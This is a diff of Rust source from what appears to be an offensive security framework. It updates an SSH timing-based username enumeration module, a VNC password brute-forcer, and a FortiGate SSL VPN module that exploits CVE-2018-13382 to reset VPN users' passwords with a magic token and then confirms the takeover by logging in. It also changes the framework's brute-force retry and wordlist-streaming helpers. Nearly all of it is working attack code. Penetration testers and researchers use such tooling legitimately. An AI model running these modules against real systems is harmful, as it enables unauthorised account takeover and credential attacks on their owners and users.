if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); }
|
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); }
|
||||||
|
|
||||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
let user_samples = collect_samples(host, port, user, samples, timeout_secs);
|
||||||
Some(t) => {
|
if user_samples.is_empty() {
|
||||||
let diff = t - baseline;
|
continue; // unreachable this round — skip
|
||||||
if diff.abs() > threshold {
|
}
|
||||||
crate::mprintln!(
|
let user_median = median(&user_samples);
|
||||||
"\r{}",
|
if user_median > cutoff {
|
||||||
format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()
|
crate::mprintln!(
|
||||||
);
|
"\r{}",
|
||||||
valid_users.push(user.clone());
|
format!(
|
||||||
}
|
"[+] Valid user: {} (median {:.3}s, +{:.3}s over baseline)",
|
||||||
}
|
user,
|
||||||
None => {
|
user_median,
|
||||||
// Connection failed, skip
|
user_median - baseline_mean
|
||||||
}
|
)
|
||||||
|
.green()
|
||||||
|
);
|
||||||
|
valid_users.push(user.clone());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -329,7 +377,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
.await?
|
.await?
|
||||||
.parse()
|
.parse()
|
||||||
.unwrap_or(DEFAULT_SSH_PORT);
|
.unwrap_or(DEFAULT_SSH_PORT);
|
||||||
let samples: usize = cfg_prompt_default("samples", "Samples per username", "3")
|
let samples: usize = cfg_prompt_default("samples", "Samples per username", "5")
|
||||||
.await?
|
.await?
|
||||||
.parse()
|
.parse()
|
||||||
.unwrap_or(DEFAULT_SAMPLES);
|
.unwrap_or(DEFAULT_SAMPLES);
|
||||||
@@ -337,7 +385,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
.await?
|
.await?
|
||||||
.parse()
|
.parse()
|
||||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||||
let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3")
|
let threshold: f64 = cfg_prompt_default("threshold", "Detection cutoff (baseline std-devs)", "3.0")
|
||||||
.await?
|
.await?
|
||||||
.parse()
|
.parse()
|
||||||
.unwrap_or(TIMING_THRESHOLD);
|
.unwrap_or(TIMING_THRESHOLD);
|
||||||
|
|||||||
@@ -92,51 +92,90 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
|
|||||||
retryable: false,
|
retryable: false,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
if let Err(e) = stream.write_all(b"RFB 003.008\n").await {
|
// Reply with min(server, 3.8) floored at 3.3 — NOT a hardcoded 003.008.
|
||||||
|
// Forcing 3.8 against a 3.3-only server desyncs the stream: the security
|
||||||
|
// negotiation differs by version, and a misaligned 4-byte SecurityResult read
|
||||||
|
// of 0x00000000 was reported as a (false-positive) Success.
|
||||||
|
let nego_minor = rfb_minor(&banner).clamp(3, 8);
|
||||||
|
let reply = format!("RFB 003.{nego_minor:03}\n");
|
||||||
|
if let Err(e) = stream.write_all(reply.as_bytes()).await {
|
||||||
return LoginResult::Error {
|
return LoginResult::Error {
|
||||||
message: format!("write banner: {e}"),
|
message: format!("write banner: {e}"),
|
||||||
retryable: true,
|
retryable: true,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
// Server: 1-byte security-type count, then count bytes of types.
|
// Security-type negotiation differs by RFB version.
|
||||||
let mut nsec = [0u8; 1];
|
if nego_minor >= 7 {
|
||||||
if let Err(e) =
|
// RFB 3.7/3.8: 1-byte count, then `count` type bytes; client selects one.
|
||||||
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut nsec, timeout).await
|
let mut nsec = [0u8; 1];
|
||||||
{
|
if let Err(e) =
|
||||||
return LoginResult::Error {
|
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut nsec, timeout).await
|
||||||
message: format!("read sec count: {e}"),
|
{
|
||||||
retryable: true,
|
return LoginResult::Error {
|
||||||
};
|
message: format!("read sec count: {e}"),
|
||||||
}
|
retryable: true,
|
||||||
if nsec[0] == 0 {
|
};
|
||||||
// Failure reason follows (4-byte len + string). Treat as auth fail.
|
}
|
||||||
return LoginResult::AuthFailed;
|
if nsec[0] == 0 {
|
||||||
}
|
// Failure reason follows (4-byte len + string). Definitive rejection.
|
||||||
let mut sec_types = vec![0u8; nsec[0] as usize];
|
return LoginResult::AuthFailed;
|
||||||
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
}
|
||||||
&mut stream,
|
let mut sec_types = vec![0u8; nsec[0] as usize];
|
||||||
&mut sec_types,
|
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||||
timeout,
|
&mut stream,
|
||||||
)
|
&mut sec_types,
|
||||||
.await
|
timeout,
|
||||||
{
|
)
|
||||||
return LoginResult::Error {
|
.await
|
||||||
message: format!("read sec types: {e}"),
|
{
|
||||||
retryable: true,
|
return LoginResult::Error {
|
||||||
};
|
message: format!("read sec types: {e}"),
|
||||||
}
|
retryable: true,
|
||||||
if !sec_types.contains(&2u8) {
|
};
|
||||||
return LoginResult::Error {
|
}
|
||||||
message: "server doesn't offer VNC auth (type 2)".to_string(),
|
if !sec_types.contains(&2u8) {
|
||||||
retryable: false,
|
let msg = if sec_types.contains(&1u8) {
|
||||||
};
|
"VNC requires no authentication (open access)".to_string()
|
||||||
}
|
} else {
|
||||||
if let Err(e) = stream.write_all(&[2u8]).await {
|
format!("server doesn't offer VNC auth (type 2); offered {sec_types:?}")
|
||||||
return LoginResult::Error {
|
};
|
||||||
message: format!("write sec choice: {e}"),
|
return LoginResult::Error { message: msg, retryable: false };
|
||||||
retryable: true,
|
}
|
||||||
};
|
if let Err(e) = stream.write_all(&[2u8]).await {
|
||||||
|
return LoginResult::Error {
|
||||||
|
message: format!("write sec choice: {e}"),
|
||||||
|
retryable: true,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// RFB 3.3: server dictates a SINGLE 4-byte security type — no client
|
||||||
|
// selection. The challenge (for type 2) follows directly.
|
||||||
|
let mut sec = [0u8; 4];
|
||||||
|
if let Err(e) =
|
||||||
|
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut sec, timeout).await
|
||||||
|
{
|
||||||
|
return LoginResult::Error {
|
||||||
|
message: format!("read sec type: {e}"),
|
||||||
|
retryable: true,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
match u32::from_be_bytes(sec) {
|
||||||
|
2 => {} // VNC auth — fall through to the challenge below.
|
||||||
|
1 => {
|
||||||
|
return LoginResult::Error {
|
||||||
|
message: "VNC requires no authentication (open access)".to_string(),
|
||||||
|
retryable: false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
0 => return LoginResult::AuthFailed, // invalid/refused; reason follows
|
||||||
|
other => {
|
||||||
|
return LoginResult::Error {
|
||||||
|
message: format!("unexpected RFB 3.3 security type {other}"),
|
||||||
|
retryable: false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 16-byte challenge.
|
// 16-byte challenge.
|
||||||
@@ -216,4 +255,16 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Parse the minor version from an `RFB 003.008\n` banner (digits at [8..11]).
|
||||||
|
/// Falls back to 8 (the newest we speak) on any malformed banner.
|
||||||
|
fn rfb_minor(banner: &[u8; 12]) -> u32 {
|
||||||
|
match std::str::from_utf8(&banner[8..11]) {
|
||||||
|
Ok(s) => s.trim().parse::<u32>().unwrap_or(8),
|
||||||
|
Err(e) => {
|
||||||
|
tracing::debug!("RFB banner minor not UTF-8: {e}");
|
||||||
|
8
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
crate::register_native_module!(crate::module::Category::Creds, "generic/vnc_bruteforce", native);
|
crate::register_native_module!(crate::module::Category::Creds, "generic/vnc_bruteforce", native);
|
||||||
|
|||||||
+130
-103
@@ -97,15 +97,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
.await
|
.await
|
||||||
.context("Failed to reach target - is the host up?")?;
|
.context("Failed to reach target - is the host up?")?;
|
||||||
let probe_status = probe.status();
|
let probe_status = probe.status();
|
||||||
let probe_body = crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default();
|
let probe_body = match crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||||
|
Ok(b) => b,
|
||||||
|
Err(e) => {
|
||||||
|
crate::meprintln!("{} Could not read fingerprint response body: {}", "[-]".yellow(), e);
|
||||||
|
String::new()
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Require an actual FortiOS indicator in the body — a bare 200/401 made almost
|
||||||
|
// any HTTPS host look like a FortiGate.
|
||||||
let is_fortigate = probe_body.contains("FortiGate")
|
let is_fortigate = probe_body.contains("FortiGate")
|
||||||
|| probe_body.contains("fgt_lang")
|
|| probe_body.contains("fgt_lang")
|
||||||
|| probe_body.contains("sslvpn")
|
|| probe_body.contains("sslvpn")
|
||||||
|| probe_body.contains("fortinet")
|
|| probe_body.contains("fortinet")
|
||||||
|| probe_body.contains("remote/login")
|
|| probe_body.contains("remote/login");
|
||||||
|| probe_status.as_u16() == 200
|
|
||||||
|| probe_status.as_u16() == 401;
|
|
||||||
|
|
||||||
if !is_fortigate && probe_status.as_u16() == 404 {
|
if !is_fortigate && probe_status.as_u16() == 404 {
|
||||||
crate::mprintln!("{} SSL VPN login endpoint not found (HTTP {}). Target may not have SSL VPN enabled.", "[-]".red(), probe_status);
|
crate::mprintln!("{} SSL VPN login endpoint not found (HTTP {}). Target may not have SSL VPN enabled.", "[-]".red(), probe_status);
|
||||||
@@ -119,7 +125,13 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
match client.get(&info_url).header("User-Agent", "Mozilla/5.0").send().await {
|
match client.get(&info_url).header("User-Agent", "Mozilla/5.0").send().await {
|
||||||
Ok(resp) => {
|
Ok(resp) => {
|
||||||
let info_status = resp.status();
|
let info_status = resp.status();
|
||||||
let info_body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default();
|
let info_body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||||
|
Ok(b) => b,
|
||||||
|
Err(e) => {
|
||||||
|
crate::meprintln!("{} Could not read /remote/info body: {}", "[-]".yellow(), e);
|
||||||
|
String::new()
|
||||||
|
}
|
||||||
|
};
|
||||||
if info_body.contains("encmethod") || info_body.contains("salt") || info_body.contains("sso_port") {
|
if info_body.contains("encmethod") || info_body.contains("salt") || info_body.contains("sso_port") {
|
||||||
crate::mprintln!("{} /remote/info reveals FortiOS indicators (encmethod/salt/sso_port)", "[+]".green());
|
crate::mprintln!("{} /remote/info reveals FortiOS indicators (encmethod/salt/sso_port)", "[+]".green());
|
||||||
outcome.findings.push(Finding {
|
outcome.findings.push(Finding {
|
||||||
@@ -204,17 +216,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
let result = attempt_magic_reset(&client, &base_url, username, &new_password).await;
|
let result = attempt_magic_reset(&client, &base_url, username, &new_password).await;
|
||||||
|
|
||||||
match result {
|
match result {
|
||||||
ResetResult::Success => {
|
|
||||||
crate::mprintln!(
|
|
||||||
"{} [{}/{}] {} - {} (VPN group member, password reset!)",
|
|
||||||
"[+]".green().bold(),
|
|
||||||
idx + 1,
|
|
||||||
usernames.len(),
|
|
||||||
username,
|
|
||||||
"VULNERABLE".green().bold()
|
|
||||||
);
|
|
||||||
vpn_members.push(username.clone());
|
|
||||||
}
|
|
||||||
ResetResult::NotInVpnGroup => {
|
ResetResult::NotInVpnGroup => {
|
||||||
crate::mprintln!(
|
crate::mprintln!(
|
||||||
"{} [{}/{}] {} - Valid user, NOT in VPN portal group",
|
"{} [{}/{}] {} - Valid user, NOT in VPN portal group",
|
||||||
@@ -235,16 +236,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
);
|
);
|
||||||
invalid_users.push(username.clone());
|
invalid_users.push(username.clone());
|
||||||
}
|
}
|
||||||
ResetResult::Patched => {
|
|
||||||
crate::mprintln!(
|
|
||||||
"{} [{}/{}] {} - Target appears patched or magic token rejected",
|
|
||||||
"[-]".red(),
|
|
||||||
idx + 1,
|
|
||||||
usernames.len(),
|
|
||||||
username
|
|
||||||
);
|
|
||||||
errors.push(username.clone());
|
|
||||||
}
|
|
||||||
ResetResult::Error(e) => {
|
ResetResult::Error(e) => {
|
||||||
crate::mprintln!(
|
crate::mprintln!(
|
||||||
"{} [{}/{}] {} - Error: {}",
|
"{} [{}/{}] {} - Error: {}",
|
||||||
@@ -256,6 +247,47 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
);
|
);
|
||||||
errors.push(username.clone());
|
errors.push(username.clone());
|
||||||
}
|
}
|
||||||
|
ResetResult::Success | ResetResult::Patched => {
|
||||||
|
// Inconclusive on the reset response alone — confirm with a login
|
||||||
|
// using the new password before counting this as a real reset.
|
||||||
|
// A patched host fails this for every user (→ no false-positive
|
||||||
|
// Vulnerable findings); a vulnerable host's real resets confirm.
|
||||||
|
ctx.rate_limit(&target_ip).await;
|
||||||
|
match verify_login(&client, &base_url, username, &new_password).await {
|
||||||
|
LoginResult::Success => {
|
||||||
|
crate::mprintln!(
|
||||||
|
"{} [{}/{}] {} - {} (VPN member, reset CONFIRMED by login)",
|
||||||
|
"[+]".green().bold(),
|
||||||
|
idx + 1,
|
||||||
|
usernames.len(),
|
||||||
|
username,
|
||||||
|
"VULNERABLE".green().bold()
|
||||||
|
);
|
||||||
|
vpn_members.push(username.clone());
|
||||||
|
}
|
||||||
|
LoginResult::Failed(_) => {
|
||||||
|
crate::mprintln!(
|
||||||
|
"{} [{}/{}] {} - reset not confirmed (patched / not a resettable VPN member)",
|
||||||
|
"[-]".red(),
|
||||||
|
idx + 1,
|
||||||
|
usernames.len(),
|
||||||
|
username
|
||||||
|
);
|
||||||
|
errors.push(username.clone());
|
||||||
|
}
|
||||||
|
LoginResult::Error(e) => {
|
||||||
|
crate::mprintln!(
|
||||||
|
"{} [{}/{}] {} - verify error: {}",
|
||||||
|
"[-]".red(),
|
||||||
|
idx + 1,
|
||||||
|
usernames.len(),
|
||||||
|
username,
|
||||||
|
e
|
||||||
|
);
|
||||||
|
errors.push(username.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -346,56 +378,12 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
let result = attempt_magic_reset(&client, &base_url, &username, &new_password).await;
|
let result = attempt_magic_reset(&client, &base_url, &username, &new_password).await;
|
||||||
|
|
||||||
match result {
|
match result {
|
||||||
ResetResult::Success => {
|
ResetResult::UserNotFound => {
|
||||||
crate::mprintln!(
|
crate::mprintln!(
|
||||||
"{} Password reset SUCCESSFUL for user '{}'!",
|
"{} User '{}' was not found on the target.",
|
||||||
"[+]".green().bold(),
|
"[-]".red(),
|
||||||
username
|
username
|
||||||
);
|
);
|
||||||
crate::mprintln!("{} New password: {}", "[+]".green(), new_password);
|
|
||||||
|
|
||||||
// Phase 3: Verify reset by attempting login
|
|
||||||
crate::mprintln!("\n{} Phase 3: Verifying reset by attempting login...", "[*]".blue());
|
|
||||||
ctx.rate_limit(&target_ip).await;
|
|
||||||
let verify = verify_login(&client, &base_url, &username, &new_password).await;
|
|
||||||
match verify {
|
|
||||||
LoginResult::Success => {
|
|
||||||
crate::mprintln!(
|
|
||||||
"{} Login with new credentials CONFIRMED!",
|
|
||||||
"[+]".green().bold()
|
|
||||||
);
|
|
||||||
}
|
|
||||||
LoginResult::Failed(reason) => {
|
|
||||||
crate::mprintln!(
|
|
||||||
"{} Login verification inconclusive: {}",
|
|
||||||
"[*]".yellow(),
|
|
||||||
reason
|
|
||||||
);
|
|
||||||
crate::mprintln!(
|
|
||||||
"{} Password was likely reset but login may require additional factors.",
|
|
||||||
"[*]".yellow()
|
|
||||||
);
|
|
||||||
}
|
|
||||||
LoginResult::Error(e) => {
|
|
||||||
crate::mprintln!("{} Login verification error: {}", "[-]".red(), e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
outcome.findings.push(Finding {
|
|
||||||
target: target_ip.clone(),
|
|
||||||
kind: FindingKind::Vulnerable,
|
|
||||||
message: format!(
|
|
||||||
"CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token",
|
|
||||||
username
|
|
||||||
),
|
|
||||||
data: Some(serde_json::json!({
|
|
||||||
"cve": "CVE-2018-13382",
|
|
||||||
"username": username,
|
|
||||||
"magic_value": MAGIC_VALUE,
|
|
||||||
"new_password": new_password,
|
|
||||||
"endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')),
|
|
||||||
})),
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
ResetResult::NotInVpnGroup => {
|
ResetResult::NotInVpnGroup => {
|
||||||
crate::mprintln!(
|
crate::mprintln!(
|
||||||
@@ -421,22 +409,53 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
})),
|
})),
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
ResetResult::UserNotFound => {
|
|
||||||
crate::mprintln!(
|
|
||||||
"{} User '{}' was not found on the target.",
|
|
||||||
"[-]".red(),
|
|
||||||
username
|
|
||||||
);
|
|
||||||
}
|
|
||||||
ResetResult::Patched => {
|
|
||||||
crate::mprintln!(
|
|
||||||
"{} Target appears to be patched. Magic token was not accepted.",
|
|
||||||
"[-]".red()
|
|
||||||
);
|
|
||||||
}
|
|
||||||
ResetResult::Error(e) => {
|
ResetResult::Error(e) => {
|
||||||
crate::mprintln!("{} Password reset attempt failed: {}", "[-]".red(), e);
|
crate::mprintln!("{} Password reset attempt failed: {}", "[-]".red(), e);
|
||||||
}
|
}
|
||||||
|
ResetResult::Success | ResetResult::Patched => {
|
||||||
|
// The reset response alone is NOT conclusive — a patched FortiGate
|
||||||
|
// returns the same ret=1/redir= login response. Confirm by logging
|
||||||
|
// in with the new password; emit the CVE Vulnerable finding ONLY on
|
||||||
|
// a real `ret=1` login. This is what stops patched hosts being
|
||||||
|
// falsely flagged as vulnerable.
|
||||||
|
crate::mprintln!("\n{} Phase 3: Verifying reset by logging in with the new password...", "[*]".blue());
|
||||||
|
ctx.rate_limit(&target_ip).await;
|
||||||
|
match verify_login(&client, &base_url, &username, &new_password).await {
|
||||||
|
LoginResult::Success => {
|
||||||
|
crate::mprintln!(
|
||||||
|
"{} Login with the new password CONFIRMED — password reset succeeded!",
|
||||||
|
"[+]".green().bold()
|
||||||
|
);
|
||||||
|
crate::mprintln!("{} New password: {}", "[+]".green(), new_password);
|
||||||
|
outcome.findings.push(Finding {
|
||||||
|
target: target_ip.clone(),
|
||||||
|
kind: FindingKind::Vulnerable,
|
||||||
|
message: format!(
|
||||||
|
"CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token (confirmed by login)",
|
||||||
|
username
|
||||||
|
),
|
||||||
|
data: Some(serde_json::json!({
|
||||||
|
"cve": "CVE-2018-13382",
|
||||||
|
"username": username,
|
||||||
|
"magic_value": MAGIC_VALUE,
|
||||||
|
"new_password": new_password,
|
||||||
|
"endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')),
|
||||||
|
"confirmed": "login_with_new_password",
|
||||||
|
})),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
LoginResult::Failed(reason) => {
|
||||||
|
crate::mprintln!(
|
||||||
|
"{} Reset NOT confirmed — login with the new password failed ({}). Target is likely patched / not vulnerable.",
|
||||||
|
"[-]".red(),
|
||||||
|
reason
|
||||||
|
);
|
||||||
|
}
|
||||||
|
LoginResult::Error(e) => {
|
||||||
|
crate::mprintln!("{} Verification request error: {}", "[-]".red(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -476,9 +495,19 @@ async fn attempt_magic_reset(
|
|||||||
) -> ResetResult {
|
) -> ResetResult {
|
||||||
let url = format!("{}/remote/logincheck", base_url.trim_end_matches('/'));
|
let url = format!("{}/remote/logincheck", base_url.trim_end_matches('/'));
|
||||||
|
|
||||||
|
// The magic-token reset reuses the SSL-VPN login endpoint; the new password is
|
||||||
|
// carried in `credential` (same field the login uses), with `magic` flipping
|
||||||
|
// the request into a password set. `new_password`/`confirm_password` are kept
|
||||||
|
// for FortiOS builds that used those names. NOTE: the canonical magic value +
|
||||||
|
// exact field set vary by FortiOS version and want validation against a real
|
||||||
|
// vulnerable target — but correctness no longer depends on the reset response
|
||||||
|
// (success is confirmed by a follow-up login below), so a wrong field here can
|
||||||
|
// only cause a false NEGATIVE, never a false positive.
|
||||||
let form_body = url::form_urlencoded::Serializer::new(String::new())
|
let form_body = url::form_urlencoded::Serializer::new(String::new())
|
||||||
.append_pair("username", username)
|
.append_pair("username", username)
|
||||||
|
.append_pair("realm", "")
|
||||||
.append_pair("magic", MAGIC_VALUE)
|
.append_pair("magic", MAGIC_VALUE)
|
||||||
|
.append_pair("credential", new_password)
|
||||||
.append_pair("new_password", new_password)
|
.append_pair("new_password", new_password)
|
||||||
.append_pair("confirm_password", new_password)
|
.append_pair("confirm_password", new_password)
|
||||||
.finish();
|
.finish();
|
||||||
@@ -501,22 +530,19 @@ async fn attempt_magic_reset(
|
|||||||
Err(e) => return ResetResult::Error(format!("Failed to read response: {}", e)),
|
Err(e) => return ResetResult::Error(format!("Failed to read response: {}", e)),
|
||||||
};
|
};
|
||||||
|
|
||||||
// Analyze response for success/failure indicators
|
// Differential-response classification — used ONLY to colour user enumeration.
|
||||||
|
// Crucially, the ordinary FortiOS login response (ret=0 / ret=1 / redir=) is
|
||||||
|
// NOT treated as a reset success: that false-flagged PATCHED hosts (whose
|
||||||
|
// normal login response contains ret=1/redir=) as vulnerable. A real reset is
|
||||||
|
// confirmed solely by a follow-up login with the new password (see callers).
|
||||||
if body.contains("successful") || body.contains("password changed") || body.contains("reset ok") {
|
if body.contains("successful") || body.contains("password changed") || body.contains("reset ok") {
|
||||||
ResetResult::Success
|
ResetResult::Success
|
||||||
} else if body.contains("vpn portal group") || body.contains("group membership") || body.contains("not member") {
|
} else if body.contains("vpn portal group") || body.contains("group membership") || body.contains("not member") {
|
||||||
ResetResult::NotInVpnGroup
|
ResetResult::NotInVpnGroup
|
||||||
} else if body.contains("user not found") || body.contains("invalid user") || body.contains("no such user") {
|
} else if body.contains("user not found") || body.contains("invalid user") || body.contains("no such user") {
|
||||||
ResetResult::UserNotFound
|
ResetResult::UserNotFound
|
||||||
} else if body.contains("invalid") || body.contains("denied") || body.contains("forbidden") {
|
|
||||||
// Generic rejection - likely patched
|
|
||||||
ResetResult::Patched
|
|
||||||
} else if body.contains("ret=1") || body.contains("redir=") {
|
|
||||||
// FortiOS often returns ret=1 with a redirect on success
|
|
||||||
ResetResult::Success
|
|
||||||
} else {
|
} else {
|
||||||
// Ambiguous - check HTTP status and common FortiOS patterns
|
// Anything else (incl. ret=1/redir=) is inconclusive — confirm via login.
|
||||||
// Some versions return an empty body or HTML on success
|
|
||||||
ResetResult::Patched
|
ResetResult::Patched
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -556,17 +582,18 @@ async fn verify_login(
|
|||||||
|
|
||||||
let body_lower = body.to_lowercase();
|
let body_lower = body.to_lowercase();
|
||||||
|
|
||||||
// FortiOS login success indicators
|
// FortiOS /remote/logincheck returns `ret=1,redir=...` on a SUCCESSFUL login
|
||||||
if body_lower.contains("redir=") || body_lower.contains("ret=1") || status.as_u16() == 200 {
|
// and `ret=0` on failure. Require the `ret=1` success token — a bare HTTP 200
|
||||||
if body_lower.contains("ret=0") || body_lower.contains("failed") || body_lower.contains("invalid") {
|
// (the login page itself) is NOT proof of authentication, and treating it as
|
||||||
LoginResult::Failed("Server returned failure indicator".to_string())
|
// success was the second half of the false-positive chain.
|
||||||
} else {
|
if body_lower.contains("ret=1") {
|
||||||
LoginResult::Success
|
LoginResult::Success
|
||||||
}
|
} else if body_lower.contains("ret=0") {
|
||||||
|
LoginResult::Failed("server returned ret=0 (auth rejected)".to_string())
|
||||||
} else if status.as_u16() == 401 || status.as_u16() == 403 {
|
} else if status.as_u16() == 401 || status.as_u16() == 403 {
|
||||||
LoginResult::Failed(format!("HTTP {}", status))
|
LoginResult::Failed(format!("HTTP {}", status))
|
||||||
} else {
|
} else {
|
||||||
LoginResult::Failed(format!("Unexpected response (HTTP {})", status))
|
LoginResult::Failed(format!("no ret=1 success marker (HTTP {})", status))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+11
-3
@@ -1184,9 +1184,17 @@ where
|
|||||||
|
|
||||||
let pass_path_owned = pass_path.to_string();
|
let pass_path_owned = pass_path.to_string();
|
||||||
let reader_handle = tokio::task::spawn_blocking(move || {
|
let reader_handle = tokio::task::spawn_blocking(move || {
|
||||||
crate::utils::load_lines_batched(&pass_path_owned, BATCH_SIZE, |batch| {
|
// `_until`: stop reading the moment the receiver is gone. With the old
|
||||||
if let Err(e) = batch_tx.blocking_send(batch) {
|
// `load_lines_batched` an early return from the loop below (e.g. stop on
|
||||||
tracing::debug!("Batch send failed (receiver dropped?): {}", e);
|
// first success) dropped the receiver but the reader kept scanning the
|
||||||
|
// whole multi-GB file, firing a failed `blocking_send` per batch.
|
||||||
|
crate::utils::load_lines_batched_until(&pass_path_owned, BATCH_SIZE, |batch| {
|
||||||
|
match batch_tx.blocking_send(batch) {
|
||||||
|
Ok(()) => true,
|
||||||
|
Err(e) => {
|
||||||
|
tracing::debug!("Batch send failed (receiver dropped?): {}", e);
|
||||||
|
false
|
||||||
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -260,10 +260,20 @@ where
|
|||||||
let jitter_ms = opt_u64("bruteforce_jitter_ms");
|
let jitter_ms = opt_u64("bruteforce_jitter_ms");
|
||||||
|
|
||||||
// medusa `-r`-style connection retries: `setg bruteforce_retries N` re-tries a
|
// medusa `-r`-style connection retries: `setg bruteforce_retries N` re-tries a
|
||||||
// retryable (transient/connection) error up to N times before giving up on a
|
// retryable (transient/connection) error up to N times per combo. Unset → 1
|
||||||
// combo. Defaults to 1 when unset or zero (the historical behaviour).
|
// (historical default); explicit 0 → no retries; clamped to a sane ceiling so
|
||||||
let retries = opt_u64("bruteforce_retries");
|
// a fat-fingered huge value can't turn one combo into a billion attempts.
|
||||||
let max_retries = if retries == 0 { 1 } else { retries as usize };
|
const MAX_BRUTEFORCE_RETRIES: usize = 10;
|
||||||
|
let max_retries = match opt_str("bruteforce_retries") {
|
||||||
|
None => 1,
|
||||||
|
Some(s) => match s.trim().parse::<usize>() {
|
||||||
|
Ok(n) => n.min(MAX_BRUTEFORCE_RETRIES),
|
||||||
|
Err(e) => {
|
||||||
|
tracing::debug!("bruteforce_retries '{}' invalid ({e}); using 1", s.trim());
|
||||||
|
1
|
||||||
|
}
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
let bf_config = BruteforceConfig {
|
let bf_config = BruteforceConfig {
|
||||||
target: host.clone(),
|
target: host.clone(),
|
||||||
|
|||||||
@@ -131,6 +131,7 @@ pub use modules::{
|
|||||||
pub use wordlist::{
|
pub use wordlist::{
|
||||||
load_lines,
|
load_lines,
|
||||||
load_lines_batched,
|
load_lines_batched,
|
||||||
|
load_lines_batched_until,
|
||||||
load_lines_cached,
|
load_lines_cached,
|
||||||
load_lines_uncapped,
|
load_lines_uncapped,
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -637,6 +637,47 @@ where
|
|||||||
Ok(total)
|
Ok(total)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Like [`load_lines_batched`] but the callback returns `true` to continue or
|
||||||
|
/// `false` to STOP reading the file. Lets a consumer (e.g. the streaming
|
||||||
|
/// bruteforce driver whose channel receiver was dropped) halt the read instead
|
||||||
|
/// of scanning a multi-GB wordlist to the end for nothing.
|
||||||
|
pub fn load_lines_batched_until<P, F>(
|
||||||
|
path: P,
|
||||||
|
batch_size: usize,
|
||||||
|
mut on_batch: F,
|
||||||
|
) -> Result<usize>
|
||||||
|
where
|
||||||
|
P: AsRef<Path>,
|
||||||
|
F: FnMut(Vec<String>) -> bool,
|
||||||
|
{
|
||||||
|
let file = fs::File::open(path.as_ref())
|
||||||
|
.with_context(|| format!("Failed to open file '{}'", path.as_ref().display()))?;
|
||||||
|
let reader = BufReader::with_capacity(256 * 1024, file);
|
||||||
|
let mut total = 0usize;
|
||||||
|
let mut batch = Vec::with_capacity(batch_size);
|
||||||
|
for line in reader.lines() {
|
||||||
|
let line = match line {
|
||||||
|
Ok(l) => l.trim().to_string(),
|
||||||
|
Err(e) => { tracing::trace!("skipping non-UTF-8 wordlist line: {e}"); continue; }
|
||||||
|
};
|
||||||
|
if line.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
batch.push(line);
|
||||||
|
